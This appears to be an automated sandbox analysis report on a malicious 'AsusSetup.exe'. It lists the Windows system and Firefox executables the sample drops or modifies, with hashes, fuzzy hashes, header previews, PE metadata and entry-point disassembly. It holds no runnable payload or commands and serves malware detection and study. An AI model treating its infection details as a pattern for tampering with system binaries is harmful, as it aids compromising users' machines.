SHA-256:	E3F848A51B3F4118CFD4CF0AD17360C5CAF57AA9AD86C439D0ABFDBD356C12B0
SHA-512:	29CB4B6597BEBE968EA17550549BF58499B7A4B2C2CE57E1552F7A96A24CF148174B1615FB96989D9CAA3AC3AEDEE56F8BBD53D4F4FDA1BA60A94A63A799588A
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@....................................BJ.... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355776
Entropy (8bit):	4.655507668913019
Encrypted:	false
SSDEEP:	24576:dcC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:LLNiXicJFFRGNzj3
MD5:	E3EB351CB9F9E5F6358431341D17FD6F
SHA1:	CBDC523E86A452601A550AB6325BF9CC5E0293CC
SHA-256:	3CED139A6700724FA65DB86D49271A3F3A79E3021954DE06A7DC665926CC25BD
SHA-512:	BF276902FE6C9D1FD1C64CC2A91CB4A72D14FCFF6FF398BBECB383EDFA6075D421D785ABD58B306A2A13DF82CA7BAB019B541AC57207FA16F50138D4AB5A8D2C
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@.......................................... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...`...p......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1564160
Entropy (8bit):	5.005844464611706
Encrypted:	false
SSDEEP:	24576:dWLntIfGpI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ERIeGLNiXicJFFRGNzj3
MD5:	70E36F3EE85DCC5CA01169074BF457CD
SHA1:	B48DCFE285361BBA82CE16F2573C48F5F04FC7E3
SHA-256:	095645AFCB345C476BEE4EFC905BCAAD3DF07B8EBC8F9A05B933BDDC24446CD3
SHA-512:	2FE241D2759B4137F02647634F3ED7378F8538553004B73DB2FDFD2FD416BD73E07DC8D0AC7749FA61DD0D6706BF393D54C2C394898EB444529458249B3526FB
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@..............................#.....P=.... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...`...........>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340928
Entropy (8bit):	4.616074321463117
Encrypted:	false
SSDEEP:	12288:zIhciJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:im/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	EF86EAAE750ADF36B3A610E1EC6672AC
SHA1:	37FA9DEE20A2994BADB90E5835DED3CCDDC14B8E
SHA-256:	7FD28D7ABF6FFD3A6B90AEC4F55F0BB5DF2E70C241699481D78BEA67AB8D40E6
SHA-512:	339D89085B472521F7F3C4A6B24A3511C2D9F89805279A33E76D698EFA7F001FA87F4B8238F1EC50A9D441B82E3B81C473D38DFCF0B9A019C44F57BED5BE7E64
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@....................................yz.... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...`...0......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1687552
Entropy (8bit):	5.018642981028978
Encrypted:	false
SSDEEP:	24576:a8oRcwt2ioQ3J+Rr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:a8oRBoFrLNiXicJFFRGNzj3
MD5:	2ABCEE9773CE77DBBB8BB75C65B49253
SHA1:	2D7E879710CF84E773A896EA2C0514609F8169BF
SHA-256:	B8979FD640E348AF42655AC2D3182EA160ABF2B3B312CFF025301256C5AA6436
SHA-512:	BE065C07A018A59F4FFC1B05920764AEC875489FB9A2F0D6722923F7547D5CBEA780F6F2DD394E98E6C7FF49070AB6CD9F716BD7BECB5EC175538F44970DFC56
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@..............................%......j.... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...`........... ..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\9fbf4662b248c49c.bin

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.985020614765465
Encrypted:	false
SSDEEP:	192:IYGt5eicwZCTYOuyyCL3XqikaOeibTzSXxbbNLD30MMY8lYD6s+OOcXX8A1ghRz2:IYUeicwQuy/5kXHSBbbRDkMv/R2z9W6A
MD5:	40EBCF90DAA58AA95B9EF6B38150AF45
SHA1:	558899812B595239E1DDB3BE930DEDC2F7C2F575
SHA-256:	D7DA94BB7260ADCDB51E59ED70A1B0FC3245D30D105D6A3B5FCC574B83EC61CE
SHA-512:	97ABD913D2A578F7A59381E434701CCD068225A13F310D58C1C843DB6A12A2C54E28EA0605ADE789D630EA9A792C13C2F6AFF33AC0BB20AC496958FF9BACECEC
Malicious:	false
Preview:	o..M......J........G.7.Cr...;n!.0..Ca.^.N..`.f..t..ZK....=...a...../:a...$^........g...W.V2....t.l..c..S@.O.t.wP..3._.6vU..#^G.:Nk.......;:Y5J%.R...'...tPn~... ..I.5....2j..j..`........j. .&.B.......c...(...../....dU...S.-.....J.iF\|O.._.f....0Mn.dj.{.../.tT....j..t[.1.V.s...f.........k.P......Xns.8..aT........../v.EB.Z.j..........@....m.........U35.LW....qA..\|Y.....9............F.t.H..@.."R.k=.X..#..0)...0.F..&....K._\|.J\|.<.1..0....&.\...h...E....aj8...~.c.....uP/2.........jsk.}#.p.JC..M.j..SMa..U.e....P.xt...".uB.%.=q.F.y...q..V.....3.....c..y..@...le...1..l..o.V.q....?}h}.j.X.m\|..U..wC.di.......c...^.e(............4.....a. .Q.^.YS.w...O..Z....~..r...g..$..PC......\u..E.7...?...Ppca..../...@.....O.AK..^..(.....$.......(k...($.i.#.mek...b.?..5..>i.\[Y...px`..,Z...w.B\|..5.SMsLa.9..r......].V.X....b)...n.........../..~..S...............0...R"p~.v ...A.'....q.(\.g[V...H......"p^.7UrG.>.s... z.....$.:/....c..*....;.o.v.'-f"..}.H..X...J.J.

C:\Windows\System32\AppVClient.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.246049721656164
Encrypted:	false
SSDEEP:	24576:yQW4qoNUgslKNX0Ip0MgHCpoMBOuZ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:yQW9BKNX0IPgiKMBOuZLNiXicJFFRGNf
MD5:	2148D94316FBFFE84543113C6A3C1FA4
SHA1:	E586090B044D7F5AFC2FE180C2DB5520D063EF40
SHA-256:	A513D27486875542541E080BC08A707DBA71F9D88E0953512619631D0ED797FA
SHA-512:	03FA2707BF34AFF27BDF1E6B098F21CA9E1C4B816A086E1C0A67CFDC07E63A85E841E81539A8D266B5346AD30DA35E38A1356D49EC0616782D8A6A8E1D245832
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@....................................\0.... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1379840
Entropy (8bit):	4.686024492296295
Encrypted:	false
SSDEEP:	24576:t2G7AbHjk6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:t2G7AbHjDLNiXicJFFRGNzj3
MD5:	515BCDF27D7CB2B02C2977222AEB63DA
SHA1:	2A093BDE624DFE636447060ACE6F83C967C97C5F
SHA-256:	66D9120AD6ED3B96F428ECB779D7602ACB4EACAEB925BC0A854D0902C741FD2C
SHA-512:	FD8459ED139CA99AB0A8143BF3FA42E464E9A3A4C3E8969D89B6DDC53092727BB5DBB10DDAA40018216742474F158FD2D0C1F16DEA7E93FDB92B0B4A346F320F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.............................. .....G..... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...`...........n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.283007833571848
Encrypted:	false
SSDEEP:	24576:CkdpSI+K3S/GWei+qNv2uG3y/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:C6SIGGWei2uG3yLNiXicJFFRGNzj3
MD5:	5E3D1E384655DE6087F47BBB3A38FB17
SHA1:	05169F30603E2F7CB3AB500A27716EFAFBF348A4
SHA-256:	0664F583DA06764F7EF99AE223D6E7D89FDA6373AC7873C1FF65732BAE6046F9
SHA-512:	FD68526418071F26F69F7DB314039E452308B497F07FE62B1A9422196098447822EC3B5ACB8396A516CA3C9920F088340219FE4D369C35D223E20C52CA7F1BD0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P....../d.... ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1381376
Entropy (8bit):	4.68641580355992
Encrypted:	false
SSDEEP:	24576:0rL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0rLLNiXicJFFRGNzj3
MD5:	332F38054E08BAEC551611993C8D1317
SHA1:	AFB4ECC9705D0FCAEB8BF2D7942EF79649FCD205
SHA-256:	2805D7B3356302E1A6367E60799038C9FAF4560435E4C3BBA5333D5AAEF5CD73
SHA-512:	455B16AFCEE3FBB04D1D4A1AC106F895E9AF68283F69FC4818DC353368BEA283BFBE3FC9F3C9B1B8EC6BFA0DB187C5AEB744A66C217ED32E35D1C57C1AC713A1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.............................. .....]..... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...`...........t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\9fbf4662b248c49c.bin

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984912691211584
Encrypted:	false
SSDEEP:	384:6wKQAAcFjV/42kX3z0cdmsaLq7InUPORSj:BKQ52ez0cfQUqSj
MD5:	4C758112062B3AF393AF3F7CFBB2F0F3
SHA1:	08C20726A5185C5AF559D485B960B6A8F993372A
SHA-256:	17224CA1541A5406A6C839F112E7F60F629BFF28DD1076EEB2C032EAA8958309
SHA-512:	B3123A1EDBDF2D79F2C65618FAEE72AA343E2568A704F593FF29948CBA81EE554286C519F42ACF54E28802EC0C9453D4B3BBE66193EC5A2A92C4BF9A7277643B
Malicious:	false
Preview:	.. ..9.:......o;.[.4_.....o..>c\|..n5~=...D..rk....?....m.'..V.Y!..".5..ux[.\|.,:#.Hd.V.F.{..<..e(...1......bY.%.....,=.....5..C&...GV.i.....V... ..SY...).....~.W6...fo...-...v+....>T^.......ff...z.T{..E.....].....`.....#.vt....K..N...)+....c:I_.X.P....gxh...:3.X....n.n...HI....D.6.e..w....0..Q....\..u..i......Xj...G..............S..&..&....O. ]>.1...%...w..$.)%.H... ....h]Wc.;.SM<...........p.SV.\|C....8;.>N..cD..f.1d8.N...CA."...bJ."...Q.[=..H..=...N..F...U....ZW.jS..j.....Bz.A..I.pSB...).v.c>W.Fu).l.P.).....!.....%zM..!..k.fb.1.X...-..E.tY....\.E.f\......v....K...}.......{....5.~.."~..@.a.j..M.....o..j\.....2`..~~.a...r....n.1....A<~j.7#04...(..-.......G..I..6...._.Z...YT.K....9.....k.....e...nar/..L~........(wf.....WqU....%6.\|...K.k.l.;....S ..h.I.b.....dh/b...LN.gZ4..S...V...}..4..,".6)-3.d.@.@,..04.r.u_.X.....!....1.DI8ae.\|._.d..\|..1v.S.X.vn.5P.....'..R....W.oy[.f2...-...:..30.......J......?.........Wj.Q.e.X2..h....zq....b.

C:\Windows\System32\msdtc.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1434112
Entropy (8bit):	4.6849522507957255
Encrypted:	false
SSDEEP:	24576:mIyE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:mInLNiXicJFFRGNzj3
MD5:	EDB52E00EF5D312A130E3F1D251A21BA
SHA1:	B01BC3AAD6EFA0453E1FB5D843A3D4CB7ED150AD
SHA-256:	35F3679A6BDADA95605CB850AA548F5F9328BC16677DB251E3CE6E64D2EF6DE9
SHA-512:	28B8B7D5BEDD1BAB0B90FE7F6C95FA2F7F6FE06204027EAE25AE1DEE2E78CDD3DDF795493EC33F41F2ACB4C57624CC9589159480F7B2A0E76960420803D2BD0B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Voq.Voq.Voq.B.r.Uoq.B.u.Coq._..}oq.B.p.^oq.Vop..oq.B.y.Noq.B.t.Roq.B...Woq.B.s.Woq.RichVoq.........................PE..d......D.........."......h..........0i.........@..............................!.....T..... ..........@.............................................. ..xx......p...................`...T...........................@...............X...........@....................text....g.......h.................. ..`.rdata..pO.......P...l..............@..@.data....)..........................@....pdata..p...........................@..@.didat.. ...........................@....rsrc...xx... ...z..................@..@.reloc...`...........B..............@...................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.953364197222141
TrID:	Win64 Executable GUI (202006/5) 60.38% Windows ActiveX control (116523/4) 34.83% Win64 Executable (generic) (12005/4) 3.59% Generic Win/DOS Executable (2004/3) 0.60% DOS Executable Generic (2002/1) 0.60%
File name:	AsusSetup.exe
File size:	5'251'072 bytes
MD5:	13bf2819401d2f983fff90c1960831b8
SHA1:	0b8058088b47edbcf963ac2ac7d5b23fa35e0e90
SHA256:	7db9ca7dbe9a5724ef452585280e73a1a73563cc6a2559f2588d613454f70261
SHA512:	af83b681f62582e9cbf983f6e5e1ba32c3a6ccd7896c644d77a5d5d76b2ca24af85deb6ea6621a0b29e15ab7637ba9f9606b09fb56387461604c38d8ca85502f
SSDEEP:	98304:pmuSFdw5ujhEMdcbJFLOAkGkzdnEVomFHKnPV7wRGpj3:ChKMdcNFLOyomFHKnPpF9
TLSH:	FE36BF4AAFEC40E8D4A6D035C96B895BD7B6BC601631878F1064775F6F333918E2E326
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................c.............................................................................m.............Rich...

File Icon


Icon Hash:	57171d4de7912e31

Static PE Info

General

Entrypoint:	0x1401cacb4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61615653 [Sat Oct 9 08:44:03 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	624b40321b3d0fd2a008a7271554dd30

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD1D125307Ch
dec eax
add esp, 28h
jmp 00007FD1D12522BFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
cmp ecx, dword ptr [000EFBD9h]
jne 00007FD1D1252455h
dec eax
rol ecx, 10h
test cx, FFFFh
jne 00007FD1D1252445h
ret
dec eax
ror ecx, 10h
jmp 00007FD1D1252AA4h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
lea eax, dword ptr [000976C7h]
dec eax
mov ebx, ecx
dec eax
mov dword ptr [ecx], eax
test dl, 00000001h
je 00007FD1D125244Ch
mov edx, 00000018h
call 00007FD1D108B05Fh
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
inc eax
push edi
dec eax
sub esp, 30h
dec eax
mov dword ptr [esp+20h], FFFFFFFEh
dec eax
mov dword ptr [esp+40h], ebx
dec eax
mov dword ptr [esp+48h], esi
mov edx, 00000FA0h
dec eax
lea ecx, dword ptr [000FC48Bh]
call dword ptr [0003AA55h]
nop
dec eax
lea ecx, dword ptr [000976ADh]
call dword ptr [0003AB1Fh]
nop
dec eax
mov ebx, eax
dec eax
test eax, eax
jne 00007FD1D125245Ch
dec eax
lea ecx, dword ptr [000409FFh]
call dword ptr [00000009h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b4650	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e1000	0x18ced0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x2c9000	0x17ef8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x276a40	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x276bb0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x276ab0	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x205000	0x1598	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x203a84	0x203c00	55b33a0057eb1249062d404be6f3c191	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x205000	0xb3d38	0xb3e00	ff7e3f5077be3fcdc08c5cefe3b61d4c	False	0.2822516721681723	data	4.503762467408248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b9000	0xff28	0x8200	2f1ce6f3cad070fb35415b8819bef07c	False	0.19435096153846154	DIY-Thermocam raw data (Lepton 2.x), scale -10205-9792, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 214.254868	4.149010331740686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x2c9000	0x17ef8	0x18000	8bf150e7a62f97a619c3cdc82be98ce0	False	0.5033976236979166	data	6.127219429376976	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2e1000	0x18ced0	0x18d000	9c8c5f222f38bacdf70cf40cfe0a5854	False	0.5891008737405542	data	7.435885059265607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46e000	0x9e000	0x9d000	0a7ec46257812d1e3d4161a390673ed1	False	0.8984857061106688	data	7.909171977386322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DLL	0x2f5928	0x1b600	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	English	United States	0.4680543664383562
DLL	0x310f28	0x1de00	PE32+ executable (DLL) (GUI) x86-64, for MS Windows	English	United States	0.46928118462343094
PNG	0x338d08	0x77	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9915966386554622
PNG	0x335648	0x2f5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0145310435931307
PNG	0x335bc8	0x301	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0143042912873863
PNG	0x335940	0x287	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.017001545595054
PNG	0x3385b8	0x36e	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced	English	United States	1.0125284738041003
PNG	0x3374d0	0x15d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0315186246418337
PNG	0x337630	0x13e	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0345911949685536
PNG	0x337770	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.03971119133574
PNG	0x337888	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0302013422818792
PNG	0x3372c0	0x20c	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0209923664122138
PNG	0x338c08	0xfd	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0276679841897234
PNG	0x338928	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x3389d0	0x7c	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x338a50	0x96	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0133333333333334
PNG	0x338ae8	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x338b80	0x84	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	0.9848484848484849
PNG	0x34c7d0	0xa3	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0122699386503067
PNG	0x348218	0x771	PNG image data, 13 x 156, 8-bit/color RGB, non-interlaced	English	United States	1.005774278215223
PNG	0x342bb8	0x697	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.006520450503853
PNG	0x343250	0x342	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.013189448441247
PNG	0x34c370	0x45f	PNG image data, 24 x 72, 8-bit/color RGB, non-interlaced	English	United States	1.0098302055406614
PNG	0x348b60	0x1a3	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.026252983293556
PNG	0x345720	0xac8	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0039855072463768
PNG	0x3461e8	0x37c	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0123318385650224
PNG	0x347338	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0041666666666667
PNG	0x347d88	0x48e	PNG image data, 9 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.009433962264151
PNG	0x346568	0xa50	PNG image data, 24 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0041666666666667
PNG	0x346fb8	0x380	PNG image data, 8 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x33da70	0xab0	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0040204678362572
PNG	0x33efb0	0xb1f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0038637161924833
PNG	0x33e520	0xa8e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0040710584752035
PNG	0x33fad0	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.003840782122905
PNG	0x3416f0	0x3a6	PNG image data, 48 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.011777301927195
PNG	0x341a98	0x111b	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0025119890385932
PNG	0x343e60	0x3d1	PNG image data, 23 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0112589559877174
PNG	0x344238	0x21b	PNG image data, 11 x 88, 8-bit/color RGB, non-interlaced	English	United States	1.0204081632653061
PNG	0x344458	0xb12	PNG image data, 50 x 273, 8-bit/color RGBA, non-interlaced	English	United States	1.003881439661256
PNG	0x344f70	0x7ac	PNG image data, 50 x 162, 8-bit/color RGBA, non-interlaced	English	United States	1.005600814663951
PNG	0x3409a8	0xd43	PNG image data, 50 x 264, 8-bit/color RGB, non-interlaced	English	United States	1.003240058910162
PNG	0x340600	0x3a4	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.011802575107296
PNG	0x34c930	0x320	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	English	United States	1.01375
PNG	0x34cc50	0x31f	PNG image data, 14 x 246, 8-bit/color RGBA, non-interlaced	English	United States	1.0137672090112642
PNG	0x349250	0x2bd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0156918687589158
PNG	0x348fd8	0x273	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0175438596491229
PNG	0x348d08	0x2c9	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0154277699859748
PNG	0x3489f8	0x163	PNG image data, 70 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0112676056338028
PNG	0x349510	0x152	PNG image data, 41 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.032544378698225
PNG	0x343598	0x38a	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0121412803532008
PNG	0x343928	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x33b2f8	0x19c	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8810679611650486
PNG	0x33b498	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.001242376327084
PNG	0x359910	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
